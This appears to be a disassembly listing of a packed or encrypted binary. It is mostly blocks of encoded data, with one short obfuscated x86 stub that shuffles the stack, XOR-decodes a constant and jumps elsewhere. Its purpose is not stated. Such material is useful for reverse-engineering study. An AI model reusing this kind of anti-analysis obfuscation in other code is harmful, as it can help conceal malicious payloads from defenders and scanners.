dd 0D84E16C9h, 4C32D976h, 0A6B1DF12h, 1997D785h, 0A11716C9h
dd 373CB04h, 1C478660h, 2A587FC0h, 7596C360h, 19E0A654h
dd 29EE16C9h, 354555E6h, 54F1532Fh, 317F219Ah, 10BE751Ch
dd 1320B14Eh, 0ABEB9950h, 331320B1h, 0DCF95BBDh, 38DB4BA3h
dd 0C4F2215Eh, 0F305DFAh, 4A77C3E0h, 0E4251271h, 4BE5BBDh
dd 19C648B1h, 204B89F9h, 3411BBEh, 97D5BBD8h, 0B2913B6Ch
dd 0E8E06F72h, 0F932Ch, 0F71E5E00h, 89B8F4DAh, 1A49866Ch
dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh
dd 0A88EABD6h, 511E3B6Eh, 0FAFCC270h, 0A9021327h, 60A17BCBh
dd 78B69C39h, 104A304Dh, 0C292C0DDh, 63275588h, 0F3D9F629h
dd 955987B6h, 424DD95Bh, 33DA61BCh, 3490B4D1h, 0AC4FBF17h
dd 346F94D2h, 0D5029F01h, 209EDAB4h, 8CCB0F42h, 1E4CAE61h
dd 18FDB754h, 661C32B7h, 162BC1F0h, 196BA6ACh, 0F51657C1h
dd 955F8DB4h, 0D2ED133h, 0BFD84EDEh, 9431156Bh, 514FB9DAh
dd 4977EDEEh, 21BA0F3Eh, 4DACF011h, 4316DF9Fh, 769DFE1h
dd 69D9316Ah, 81B0ECC6h, 6796B7E4h, 96043529h, 9BDA3607h
dd 7A19D370h, 0C0EBBF61h, 0B4E21550h, 0BE588EAh, 3B66A4D1h
dd 9CD6BCD9h, 0DF943869h, 0E3DB7D0Eh, 0EAF27h, 133A7A00h
dd 0A5D410F6h, 3665A288h, 0C5F83319h, 5984C2A8h, 10AA383Ch
dd 0A48AA7D2h, 391F3C63h, 0CCB2CFFAh, 75425F92h, 0FBA0E694h
dd 0D52E1327h, 5588C2F7h, 0A3E391B2h, 2B16C91Ah, 1A80C674h
dd 980E16C9h, 0CAE19936h, 0B15F0272h, 1C31FC8Ch, 63F5CD2h
dd 89CEFAEh, 0BD87DFAFh, 0A90AB85Bh, 0FD19DBC6h, 1F4E5987h
dd 0A5A9B822h, 0EF1A5906h, 0C36F08Dh, 6B16C928h, 5000ABCAh
dd 5040CFE5h, 30h, 0A7176F16h, 5C395604h, 0F851C32h, 30714B6Ch
dd 7411DB09h, 7244F8Eh, 20540B4Dh, 1E518B13h, 0B1DC1B01h
dd 0CAF5340Eh, 0FDB9752Dh, 0F900000Dh, 4A7176Fh, 0EC73B4E3h
dd 7665D6C2h, 0B96125D3h, 0F76D16C9h, 4EFBA05Ah, 0C53B1C32h
dd 0E4094822h, 721577AAh, 276482C4h, 0F9960C13h, 85B8F2CCh
dd 15488268h, 878D0E7h, 5F623665h, 5BD5DDBh, 9C399BC6h
dd 99B7C16Fh, 45BB19DCh, 5B8EC8A2h, 0EB1E583Eh, 0E44EA6BDh
dd 76197BA6h, 32B74BC8h, 3465DB1Ch, 698B847Eh, 8D19D5CDh
dd 5800000Dh, 0EED4F118h, 806683B2h, 11F71443h, 0A086A3D6h
dd 161A3762h, 7DA8E6CCh, 12397A60h, 0A5D00FF5h, 3568A288h
dd 0BC6A4B18h, 1327F8FAh, 0EECDAB04h, 16C91AD4h, 32C483DBh
dd 9684030Bh, 4721C426h, 0E3ADDB0Ah, 796B1946h, 11C32BCh
dd 0D40EE88Bh, 649E84A1h, 28CBFA37h, 2794347Ah, 0E244BA13h
dd 0D5459DB4h, 72A38432h, 0C6A019DFh, 0DDBF5C87h, 8AA63667h
dd 0C1B96F6Dh, 0D0F05h, 739ADA00h, 5347056h, 96C502E8h
dd 25589379h, 0B9E42208h, 704A989Ch, 4EA0732h, 997F9CC3h
dd 2C122F5Ah, 0D5A2BFF2h, 0F80046F4h, 358E1327h, 5588C257h
dd 0F6296327h, 0CC3C7953h, 0C91A581Eh, 8EF06616h, 41F99660h
dd 22D0407Dh, 16C91A5Ch, 5C8AEC62h, 2305798h, 0BDE19431h
dd 0ACFF7695h, 40CFD3E4h, 708FCh, 176FC200h, 0EC2A04A7h
dd 49F724C1h, 1C32EE5Ah, 0A5166695h, 2DCB4F27h, 9538AE90h
dd 2F5E9A74h, 70863701h, 1907C97Fh, 78B29835h, 1D982CF6h
dd 303FCAC8h, 0A14D9BA2h, 2E4BAD0Fh, 0ADDB0E48h, 27452D15h
dd 40AA0213h, 0A3E39105h, 2B132745h, 612553B5h, 2F91F326h
dd 4578B28Ch, 45B2F4A2h, 0C63C1327h, 0ACDBFC29h, 600EBDADh
dd 1327611Eh, 0C0792AA0h, 7731CE72h, 19DF4156h, 6FF12298h
dd 7E6F6D97h, 0C1ECA86h, 0A9E90000h, 437F6582h, 0D411F714h
dd 67A288A5h, 0F3311734h, 3BA7ABC8h, 0F916417Fh, 8EABD213h
dd 213E69A8h, 0B1CE013Bh, 115503E4h, 9D1327F9h, 88C26644h
dd 0C4F21D5Bh, 0A66A98FAh, 7B0B396Ch, 0CE92195Ch, 0E240CFD3h
dd 635h, 1AD4EEA8h, 83DB16C9h, 754F7013h, 19DD0B36h, 0B882B0DBh
dd 0A0FFB956h, 2A1C32EDh, 0FD3711B4h, 5180ADCAh, 0CE08B639h
dd 93874C3h, 0EA240AA7h, 1A7289B7h, 745907AAh, 0BA19DF01h
dd 57771344h, 0CEC66F6Dh, 0B8B12h, 0EF165600h, 81B0ECD2h
dd 12417E64h, 0A1D40FF5h, 35609E84h, 0E4CE1418h, 785E7BA6h
dd 0DF31037h, 0A086A3CEh, 49163366h, 0FEF4BA68h, 0A1FA1327h
dd 5588C2C3h, 1421C27h, 45E2ACDAh, 0C4F2255Fh, 4EFC1D34h
dd 16C91A08h, 4E832096h, 0D3DC8427h, 0EEC840CFh, 8A5482B1h
dd 58FCCEDh, 6F920000h, 5604A717h, 1C32ED60h, 0D2013EAEh
dd 0D578DAA4h, 0EB8EC1FBh, 0C75A1CCAh, 26601327h, 88259BF3h
dd 4DC1FBE1h, 27C7DF9Fh, 2C078613h, 0E029B856h, 0D9DFC388h
dd 2D5D4F2Eh, 0A33B69CBh, 1327809Fh, 91E46D9Ch, 0FE2C5B98h
dd 68BC8334h, 3088C15Eh, 4E6F1DC0h, 4519DF2Ch, 63002F6Bh
dd 0ECDA0B81h, 3B6F6D2Bh, 0AC28743h, 4D8D0000h, 0E7230926h
dd 78B59BB8h, 0B462C49h, 97D5BBD8h, 974B4F6Ch, 95B2DD1Bh
dd 2A476EAFh, 0BDDA0544h, 4D6A9DD7h, 0ADF19F80h, 311327FFh
dd 5A7BFAD8h, 0C91AEAACh, 0E17EF416h, 608EC1FBh, 6EF2655h
dd 0D36CCF3Eh, 6C096B92h, 0E11F4C86h, 216513B6h, 0AD16C9BFh
dd 17A7D537h, 622E7DF8h, 7E40CF76h, 4BDh, 30762445h, 0BE16C987h
dd 7B7DAB48h, 0FD3C65A1h, 78DAA4D2h, 1A5C21DBh, 0B30B16C9h
dd 3671A043h, 84D40532h, 0FAA8D572h, 1C3279B9h, 3A14B72Dh
dd 0CAB0CD00h, 182F5D90h, 1D610FC0h, 0A1132753h, 7826C92Bh
dd 19DC5FB7h, 0A890C137h, 676F6DDCh, 0A06B36Fh, 91D10000h
dd 2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh, 0DB19FF1Ch, 538F93B0h
dd 0E1FE2967h, 7693BAFBh, 9265190h, 99B6E923h, 793DEBCCh
dd 851327FFh, 88C24E2Ch, 29632755h, 892453F6h, 2F8B1CDEh
dd 4F4AC49h, 5E8DD0A5h, 0EE2D2FDCh, 749B3D97h, 4F6CD081h
dd 538D7310h, 7C240320h, 7440CF3Eh, 18Eh, 5588C23Ah, 1B9DD8B2h
dd 0DD2A03DBh, 2B59BB76h, 480CC461h, 91BEDB0Eh, 0D8FCC270h
dd 8C0216C9h, 0EE5EB6EFh, 3A7C2A4Bh, 0C416C9D8h, 0D684B14Eh
dd 1C32E159h, 0A9416FE5h, 1320CE99h, 2F6B45DEh, 0CF0ED200h
dd 4AAC76A4h, 0AEFD78ADh, 452607E2h, 6323D1F2h, 6B1320D6h
dd 0E2A452F5h, 0EC1320D6h, 2CB8D976h, 7E000000h, 3960A17Bh
dd 6BA4410Bh, 5200A313h, 1C322951h, 79113FB5h, 13200B49h
dd 0FA3B15AEh, 740136D3h, 26C66937h, 0EE8745h, 0C24D0000h
dd 0F11C5B88h, 6997F9C3h, 4DFB67A5h, 16C91A09h, 0FB295091h
dd 763D931h, 0C3A9CCBh, 38DB0E48h, 1A256917h, 33A916C9h
dd 0E01ADE96h, 0E34578B3h, 0FD286640h, 0C16805CFh, 0C8FF4207h
dd 0E3165016h, 536A99C6h, 0EC8F259h, 346291CEh, 326B086Ah
dd 19C76ADAh, 1C2F6338h, 7B55F86Eh, 956F123Dh, 0E88F2C57h
dd 6899C402h, 6989D96Eh, 9D21DDD5h, 68000008h, 0FEE40128h
dd 907693C2h, 21072453h, 0B096B3E6h, 262A4772h, 8DB8F6BCh
dd 22498A70h, 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1327FD8Ah
dd 7BDDBB14h, 1AEAAC5Ah, 7EF416C9h, 51BDFBE1h, 0DF0F3677h
dd 16C91A9Fh, 5806A91Fh, 16C91A16h, 0A3C02298h, 31609C76h
dd 44AF803h, 8A16C91Ah, 2F15B214h, 78A5C2F5h, 43E1639Eh
dd 3A1D249h, 2CDA7DDFh, 16C9266Ah
dd 3361FE74h, 275588C2h, 0D9F62963h, 278FBh, 176F3B00h
dd 0D55604A7h, 611C3231h, 0D8B2BDEBh, 13231F99h, 0C9B6CAAh
dd 15B27CAAh, 2047675Bh, 86EF9013h, 268A7B25h, 2127545h
dd 0EE3B0000h, 16C91AAFh, 711484DCh, 432D2150h, 456B577Ch
dd 21BFEEA8h, 0CD431C32h, 0E316502Ah, 73A6E0C6h, 66D62E45h
dd 1273A2C3h, 4D4821C5h, 62C4EB2Ch, 0BCCA0BC5h, 5ED419DCh
dd 6D7C392Dh, 601C146Fh, 7A4h, 0EB082F6Fh, 7D9AC905h, 0E2B5A97h
dd 9DBAED28h, 314E79B7h, 0BFFDB52Dh, 50917794h, 0E7260C29h
dd 7FB99FBCh, 81622F4Ch, 27F293D3h, 0E4C21B13h, 275588C2h
dd 53F62963h, 1AC28432h, 56CC16C9h, 0FC3D01B9h, 87693686h
dd 40A216F8h, 0E1144E12h, 0A78A9AB3h, 65D237FBh, 0A7F77EDDh
dd 0EFB5C01Fh, 0BEDF82B5h, 0C9144E10h, 0EB995016h, 16C914ABh
dd 0BE5BBD33h, 0D510EA17h, 7A2605A2h, 7640CFD9h, 148h
dd 286E1C3Dh, 0B616C918h, 29F33F1h, 82E4CF44h, 88C2B7E5h
dd 8EF01F5Bh, 35629C60h, 7B29CCF7h, 16C91A3Bh, 0CEEB4DC3h
dd 8CD280A1h, 1216C91Ah, 6EC6FF9Ch, 20AD5BFEh, 2E1C3223h
dd 46F415B8h, 13200C00h, 0B6DD1E8Eh, 0BF5CBE88h, 0C536F07h
dd 3A41320h, 0C5973972h, 27894526h, 4F000000h, 4A7176Fh
dd 32294D56h, 1543B91Ch, 200B457Dh, 6411B213h, 26C69947h
dd 939745h, 845E0000h, 20EA1847h, 88C25583h, 25632755h
dd 6694C300h, 480C3A9Ch, 0A2ADDB0Eh, 0C4857173h, 53F0174Ch
dd 0E300336Dh, 0C9C97029h, 15488216h, 0F767BFF8h, 778DA654h
dd 63D91C2Fh, 7DA8E6C0h, 113C7A60h, 89E51AE0h, 0A5615969h
dd 654h, 9BB8DF1Fh, 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h
dd 6FAD05DDh, 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh
dd 27F3C383h, 9472CB13h, 3C5984C2h, 5BCE00Fh, 78A3DA91h
dd 8EBBF5DBh, 0A1BE2053h, 64A17B73h, 1A0046F4h, 188E16C9h
dd 0F93319B6h, 628DCCh, 0A1D40ED2h, 53A684h, 0C6E70000h
dd 0BA134397h, 81B17DE3h, 16C9AD3Dh, 0F95180BDh, 0BAED2783h
dd 0F725C28Ch, 0B25588C2h, 0D37097D8h, 0F936101Bh, 35D29CCAh
dd 3FE2154Fh, 6521EF1Eh, 0F474400Ch, 0C9D982C4h, 0F9960C16h
dd 65103341h, 0B4DF1EF8h, 391FBC86h, 0D1AFCCFFh, 20h, 5588C211h
dd 1AB28F27h, 40B116C9h, 61FE2566h, 0E514492Ch, 45596C6h
dd 0BFA542DCh, 7355285h, 275588C2h, 0A548B810h, 32ED92F7h
dd 0CB6EE41Ch, 9BDB89AAh, 1F1327C7h, 0BA84B2E5h, 694FEC62h
dd 0F13BAD2Fh, 87F5C992h, 0E8220825h, 187087B5h, 5D5705A8h
dd 0E519DCDDh, 0B8F2CC6Fh, 13C1E285h, 16C9F553h, 0A148E55Bh
dd 0AB4E81BBh, 3B6990D1h, 111CD471h, 0A1CFF637h, 0A9013AD7h
dd 46759639h, 6AC2916Bh, 0B36D0AA0h, 1C32FA3Eh, 0A181B228h
dd 94698B3Eh, 506E09Ch, 91D10000h, 2B674D6Ah, 0BCF9DFFCh
dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
dd 9265190h, 99B6E923h, 793DEBCCh, 851327F0h, 88C24E2Ch
dd 0EA0B3855h, 0C91A7A3Ch, 0B20E8416h, 0C6AC4974h, 95B6598Ch
dd 0C91AA7E7h, 14B12716h, 3B77515Ch, 7714DE0Ch, 35E35791h
dd 16C91A71h, 77A5077Dh, 574D2887h, 0A0CDEA1Dh, 1A8DD17Fh
dd 9B1116C9h, 0D7711FFEh, 326F40CFh, 35000000h, 4A7176Fh
dd 325C3956h, 6C0F851Ch, 0B285392h, 2CE0AFDEh, 0EDE94F4Bh
dd 3CD29650h, 9AD41320h, 25644A67h, 6896C100h, 520E3C9Eh
dd 458h, 5588C292h, 0DBED1C27h, 0FD9E7259h, 417B61FEh
dd 60B8F10Eh, 35734DF0h, 45A7D210h, 4E7CAFE9h, 0CBAE784h
dd 1C321983h, 4FE7158Bh, 13203673h, 0CB92E384h, 0E353629Ch
dd 66032B61h, 263ED987h, 53D745h, 7B9D0000h, 53366A1h
dd 0D659E3Bh, 574CFA9Dh, 0AF1C3229h, 26000B39h, 84A56BE9h
dd 10426C88h, 6B5711AEh, 8C1320ACh, 0A065C4F3h, 26A166B8h
dd 0FD91D583h, 0A71D1320h, 0BDA0D50Ah, 5786C29Ch, 6F2F5F29h
dd 6F1320FDh, 0D37D5CF9h, 0CD452630h, 0F2h, 5B88C293h
dd 5E8CEE21h, 42F05C9Ah, 16C91A7Ch, 0A9D41282h, 0B0F6A447h
dd 3E16C91Ah, 0E9C366C8h, 2CE481A8h, 0CBA2E68h, 16C91A4Ah
dd 7CA3E454h, 0F415B81Ah, 0C91A0046h, 7B188E16h, 92C5FFC3h
dd 174EBB75h, 4A8416C9h, 196628D6h, 0F26816C9h, 538D7390h
dd 83DBF220h, 15C27013h, 0E1C3216h, 2CC9F834h, 7EB7D44Ah
dd 0F213B626h, 1C6323D1h, 29671320h, 9330A6FEh, 0C697FED9h
dd 99D44419h, 87610466h, 0D4011E49h, 6290BBFAh, 0D715FB98h
dd 0A5F9BD6Bh, 8F0516CBh, 6B2AFC2Dh, 31296F72h, 31B75h
dd 7FA6E600h, 11407C62h, 0A2D10EF4h, 31649F85h, 0C5F02E14h
dd 743EA4A8h, 8EE0B36h, 9D83A0C7h, 3016335Eh, 0D9A6C3F6h
dd 0F6044AF8h, 318A1327h, 5984C253h, 7CBB95B6h, 1A5D2151h
dd 0EB6116C9h, 0A07AA74Eh, 3F093762h, 4F82BCA2h, 0A17B0432h
dd 145F367h, 8D16C91Ah, 0DF18B517h, 9A741787h, 3802305Bh
dd 0D26FA2DCh, 29EAF7A5h, 0A61C1C32h, 0BE2E078h, 74151320h
dd 0C6E6AA01h, 9FA4526h, 0C1000001h, 4581AAE7h, 6D86B416h
dd 0E9FC1A2Dh, 0AC49AB26h, 0AC5A7B7Eh, 16C91AEAh, 0FBE17EF4h
dd 55608EC1h, 0E4123D7Bh, 59977D1Ah, 98C6F934h, 1A9FDF8Dh
dd 0A91F16C9h, 1FB7E547h, 16C917EAh, 0CC7AEE28h, 16C9198Ah
dd 1F3C9E14h, 0AED918F2h, 3319B680h, 97D785F9h, 1716C919h
dd 0C29C3FA1h, 5F295786h, 0D6C177AEh, 0E58286DAh, 93F3222Dh
dd 3EDA24Dh, 5DB5EE8Bh, 339C4AEDh, 7B1C3218h, 57AFE805h
dd 22344E7h, 20121254h, 89269C13h, 0C68DC7CFh, 2ED14719h
dd 0D312EC0Dh, 0A73678A8h, 42B816CBh, 5681BFA5h, 6F4184B3h
dd 0E1BC2394h, 79B79D44h, 0B0F11D4Eh, 443C6F72h, 1DB88h
dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h
dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h
dd 0F4440AB8h, 0F14A1327h, 5984C213h, 0E91C563Ch, 37772546h
dd 6C16C91Ah, 0C91AF8BEh, 38900616h, 507E25C2h, 1C5B88C2h
dd 5F8DB8F7h, 0A3D13395h, 5572A5DFh, 0CC08356Fh, 0F60D3B9Dh
dd 7F3FED9Eh, 7F16C91Ah, 5604A709h, 1C322A11h, 3D892352h
dd 775941Ch, 20A91559h, 0C1239913h, 9ECC4224h, 2B3243BAh
dd 4AE71251h, 0DAF72A64h, 36D949A1h, 0B8F5225Ch, 2FF92789h
dd 66B76592h, 1D19D845h, 0BE0E6FEEh, 912EA46Eh, 470B39AFh
dd 9EACDA0Dh, 8963FA7Bh, 4B842148h, 32E083F3h, 1C3184FDh
dd 23569101h, 3441EC1h, 88E4AEDCh, 0DA811E49h, 6994D3ADh
dd 0EED4713Bh, 8F5381B4h, 0C0EF2B50h, 7725C892h, 13204C37h
dd 0B1DF41B7h, 851F56CDh, 24B2C94Bh, 0D5023791h, 0C51D5673h
dd 7091B255h, 2024FCC2h, 0E98C0213h, 20247B3Bh, 700D8313h
dd 0DB14F1B6h, 0E487FD19h, 2934BB5h, 0B95CA2BCh, 0C9FC4B0Bh
dd 40DD5316h, 0A4E7D88h, 0CAFD3867h, 6721D29Ch, 82680512h
dd 0B0DF1B48h, 1D5C204Eh, 914303B1h, 0D54B16C9h, 8C3A4573h
dd 16C991CAh, 0C4025ED4h, 3A5D6B99h, 70E7633Bh, 84F44C05h
dd 0D091C0E1h, 9387487h, 693B2358h, 0DE4D12CCh, 0DB511C32h
dd 78B791BEh, 1F77B04Dh, 355E0CAFh, 7119DB09h, 5D9EC301h
dd 4472D436h, 70134680h, 0FD2B5A96h, 59858233h, 937CF1D4h
dd 2F694FF6h, 4536CEFCh, 43FFE6B2h, 154F5520h
dd 0A5DFC5E2h, 45804472h, 8900E412h, 4B7EB8ECh, 9A0E482Eh
dd 0D69AAAECh, 0C8EF300Fh, 6A98FA70h, 3AEh, 33A1EE00h
dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h
dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 77646886h
dd 14890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
dd 242C895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push ecx
push 51770F36h
mov ecx, [esp]
add esp, 4
xor ecx, 5499D126h
mov ebp, ecx
pop ecx
push 4D44h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 69E8h
mov [esp], ebp
pop dword ptr [ecx+8]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5461C3
; ---------------------------------------------------------------------------
dw 1831h
dd 0B6722024h, 0C95D75AEh, 0F01CB8F2h, 0C50305EEh, 258AE0FFh
dd 0C05753A3h, 13CD2043h, 4ECE7918h, 6D8E07E6h, 0D2F17B67h
dd 315D0634h, 8D8D5619h, 5EEF1AFh, 0DE9h, 15224000h, 7B3FE764h
dd 87878F4Ah, 0AFBF93CFh, 896B05EDh, 0E926558Dh, 819D0905h
dd 0C705E92Ah, 0E9080585h, 6A0805h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4D0908B2h
dd 49C0930Fh, 8B662F6Eh, 3D85C7F9h, 5E916h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 5A85C356h, 0D0A8C552h, 5A4F764Ah, 64D958Bh
dd 0B5FF05E9h, 5E9321Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 18C35646h, 0F46A0D6h, 0C8Ch, 6820F00h
dd 89000000h, 0E910758Dh, 0C595FF05h, 8105E90Bh, 0DB3B3ACEh
dd 0FF006A44h, 0E91E9595h, 0EBC08B05h, 70305C0Eh, 0A876CD8Fh
dd 93E6B22Bh, 0E8A5CF49h, 12h, 65D6C7E9h, 23220E7Fh, 4246C19h
dd 74B6D8E9h, 0AE95337h, 0F4000000h, 891926CFh, 1F30917Eh
dd 0C0815846h, 5D38h, 68B0Fh, 0BD8B0000h, 5E91DDDh, 172DBEh
dd 5D9D8900h, 0FF05E916h, 6D950330h, 5905E930h, 0FF12F181h
dd 8D0F3552h, 6, 0C580FC60h, 0C18161A5h, 42BC507Fh, 48D9D8Bh
dd 0F18105E9h, 30940355h, 26B99D8Bh, 88905E9h, 24E28166h
dd 4E8837Dh, 0F01EE83h, 0FFFFBA85h, 0D78B66FFh, 9BA708EBh
dd 5B22h, 2FE90240h, 6800000Ch, 5EEF41Ah, 0FB57BCE9h, 0F52468FFh
dd 0B2E905EEh, 68FFFB57h, 5EEF6B9h, 0FB57A8E9h, 0F76868FFh
dd 9EE905EEh, 68FFFB57h, 5EEF831h, 0FB5794E9h, 0FA1568FFh
dd 8AE905EEh, 68FFFB57h, 5EEFAABh, 0FB5780E9h, 0FBEA68FFh
dd 76E905EEh, 68FFFB57h, 5EEFD00h, 0FB576CE9h, 2AE141FFh
dd 0F9B2185Bh, 0C584E72Ah, 944FB3F6h, 661D82C5h, 37B2D297h
dd 54817D2h, 0D316E5A4h, 0A3E6B56Ch, 36BB8A41h, 5F0DAD5h
dd 759BD850h, 5F97F980h, 0A85FC1F9h, 28E505EBh, 0FE652242h
dd 830CDB9Ch, 74520970h, 90778806h, 8462197Dh, 0DCD1E19h
dd 0AB96E3A8h, 0F76A0D22h, 7B3858D7h, 9D54BBCEh, 7E0CB2BFh
dd 32AFD857h, 3EFBBE1Fh, 8FCC7A58h, 534EA700h, 0D8577E6Bh
dd 9D45CE14h, 6D8577Eh, 0F4DED9C0h, 9FD8577Eh, 1E2D7B59h
dd 57D88C46h, 44h, 5F5AB3B8h, 0DDBEF777h, 8EFCDA20h, 1D18FFF0h
dd 0E3A80890h, 0B972D4E7h, 0A73816FCh, 0C0F7A461h, 0DF297BA1h
dd 1320FE76h, 0D857B7AFh, 0A1035010h, 0D88BE1AAh, 0E2CBh
dd 0A6A1FA00h, 0D857BB3Ch, 0A432167h, 23E097F9h, 0DF9C57BCh
dd 191DFB32h, 0DBEB567Bh, 6A4D2616h, 0AF8DA2A0h, 0B26F288Ah
dd 3591F205h, 0C856B0F2h, 88456544h, 3D9FC4A2h, 0A384AF7Eh
dd 0E8DDBE6Bh, 0B3F6C586h, 0EED8D351h, 99DDBE62h, 0C6763353h
dd 555037C8h, 0E3A88FA0h, 550E7487h, 43D4B298h, 0ECA22EFDh
dd 0B4192C13h, 0B9B41FFDh, 0E64316D1h, 0AD6CCDE0h, 14773ECFh
dd 3B4E3555h, 0C34C1BD6h, 0B3914AB0h, 7F72298Eh, 0CBD2CF7Ch
dd 0D177E7AAh, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h, 4D905F16h
dd 206332E9h, 6C3100BBh, 0B56CD118h, 8742A3E6h, 570E75B8h
dd 24E34588h, 746FD055h, 0D850034Ah, 0F91A0F35h, 0CB0EDD94h
dd 71D8EB69h, 8E17FDBAh, 0DDBEF724h, 2E9094Fh, 0F704AEA9h
dd 296FDDBEh, 0B3A1F84Bh, 0C58239A0h, 0FB9301DFh, 9B28230Ah
dd 0F2E3A808h, 0B31B7BDFh, 99F5D96Bh, 755B1838h, 0D9C00697h
dd 0E6A364C6h, 34E12200h, 2806BD21h, 57BBB71Bh, 1B5818D8h
dd 8BEDA2A9h, 56E017D8h, 0F9043E37h, 0B7A45331h, 5000000h
dd 0F0187CB3h, 6D3BC080h, 4F086A8Fh, 0BC62B92h, 242EFF4Eh
dd 163DDBEh, 0D6387B4Ah, 0D6A85815h, 5E3B361Dh, 47E3A8FEh
dd 0A4611A80h, 0A4B79EBEh, 53A6843Fh, 573EB7C7h, 6926DD44h
dd 0E13AA583h, 0FF258D88h, 874ED854h, 0C2A86524h, 0DCB7C4A2h
dd 0C9E640A4h, 0CAEAA102h, 14778AE3h, 0ED527755h, 0BF246736h
dd 3D41104h, 6F32CBD2h, 8C7FFh, 0B675D500h, 853EA4E7h
dd 591073B6h, 28E3478Ah, 0FAB11659h, 0CB1E662Bh, 99DCAB66h
dd 6FB28138h, 3F825108h, 0CA4F1EDDh, 2446E69h, 92FD850h
dd 0DD94F914h, 207CE3F6h, 0C962AF3Ah, 6846662Ah, 0B770D215h
dd 5AB391E8h, 0BEF7775Fh, 0FCDA20DDh, 6A1175D7h, 0FB9EE5h
dd 4BDC7E1Fh, 12626586h, 758835F2h, 0B0965312h, 0B4BADD2h
dd 0FFCEEEA5h, 0A5016376h, 0C9796537h, 975474C1h, 3B47ECB1h
dd 72F64747h, 97682694h, 0E34457B0h, 0A7856B28h, 0A840059Ah
dd 21084EE3h, 2C27AD0Eh, 0D857AC82h, 0CA87A7EDh, 5EC506E4h
dd 296C3BFCh, 0A65310C7h, 0AC68524Dh, 613D857h, 57ACA30Bh
dd 6686CCD8h, 41767B88h, 0B13D60ECh, 12C92BE0h, 46A7BA43h
dd 2E0C683h, 0FFBC7BDDh, 918903B0h, 0BF18C350h, 89436B66h
dd 0E62C5091h, 9189755Dh, 0FAD81E50h, 64C60F4Ch, 89F9E1DCh
dd 5CA25091h, 0C82A6D3Ch, 0D203520Fh, 25509189h, 399B5021h
dd 0F32AB382h, 0BFBEB5CEh, 0C5EAC87Bh, 37E7A463h, 0CCC7AE47h
dd 6E88A723h, 0BB7EDFF2h, 1F064CDDh, 0E8A9A0E8h, 3C1AFB3Dh
dd 0D0215DE9h, 560DEEE9h, 0B0F670BFh, 473FA4F3h, 0E0A044BFh
dd 6D1A3193h, 655B6BA4h, 8A000004h, 4F8C3631h, 0B1F744BFh
dd 5AB39AD3h, 0BEF7775Fh, 0FCDA20DDh, 0BEF7C7EFh, 78E34DDh
dd 497DDDBFh, 0DEDDBEEBh, 0DDBEE3F0h, 51B6C8C6h, 98937A9Ah
dd 0E3A81B7Fh, 18EFE228h, 6C5EE92h, 732D343h, 0E0400000h
dd 0A3094C1Bh, 77DA1DECh, 4AAEF1C0h, 1A7FC291h, 0B9CB905Fh
dd 4110CB30h, 0FDE9DFEh, 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh
dd 92D85001h, 97F9776Ch, 1B7323E0h, 8E4B0269h, 0A6A188A8h
dd 0E3ADE94Dh, 7901D016h, 40B1CD07h, 0F7955E59h, 5164E646h
dd 947A37EEh, 14DF25B6h, 0F832BAE1h, 35308986h, 6687C98Dh
dd 11C82FF6h, 0E9A513F1h, 0A9363118h, 0DA589114h, 172AD794h
dd 0AC1AF8B3h, 3F3A21D2h, 228A4160h, 0D108EF35h, 13F3AD95h
dd 0D5401E67h, 0D8A760C2h, 92CF3395h, 496D1A7Ah, 954CB152h
dd 0A2598275h, 0CC8F070Ch, 6835Ch, 7A319100h, 490268ABh
dd 15D4377Ah, 0E49F0346h, 0B66DD215h, 876222E7h, 55986722h
dd 236635F4h, 0F33605BCh, 860BDA91h, 802A25h, 0C5EBD850h
dd 25DEB0D0h, 0DC42B3Eh, 0D4C9C42Fh, 0A3E3A809h, 0F988F6Ch
dd 0C2A08CF5h, 8B096A31h, 57A12690h, 0EB0B51D8h, 6B28482Eh
dd 8D44ABBEh, 6F288AAFh, 7DB4FDB2h, 0BE03F09Dh, 47F5D3FEh
dd 0ED06780Ah, 0F9F4CF06h, 550B757Ch, 753A66F3h, 0C6A49189h
dd 6B43605Bh, 714E641h, 6C83A20Ch, 6787CDD6h, 83416D98h
dd 0CB6D66Ch, 9AD66C83h, 0CB240BE4h, 0BA9853B8h, 7F9D74ADh
dd 0F0D71DE8h, 0DDBB7ADDh, 915A4D9Ch, 208FCC7Fh, 0C1CC7F91h
dd 6EB5A85Fh, 0B8D1C6DBh, 5BA85F5h, 68C80000h, 2B91D4A3h
dd 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h, 0C99853B8h
dd 97662586h, 6736ED54h, 3A09C224h, 715954B5h, 1AD8500Fh
dd 0DEB0FFF4h, 0EA433E25h, 0B3E3ADE9h, 503ABA6h, 266CD850h
dd 0CBC61F06h, 0D85005E3h, 0F109A18Ch, 0C6BDBB7Fh, 0E89F05A6h
dd 2667452Bh, 0CF9E5DBFh, 0CE334943h, 0F90CF313h, 0BDFEDC93h
dd 6433F456h, 0A467C8DBh, 883FA1C6h
dd 490264CBh, 7BE258Ch, 0C782E34Ah, 0CC8D910Ah, 9FDCCA88h
dd 6433F456h, 90BF53F8h, 19A20D8h, 0F64F0000h, 6C37EE3h
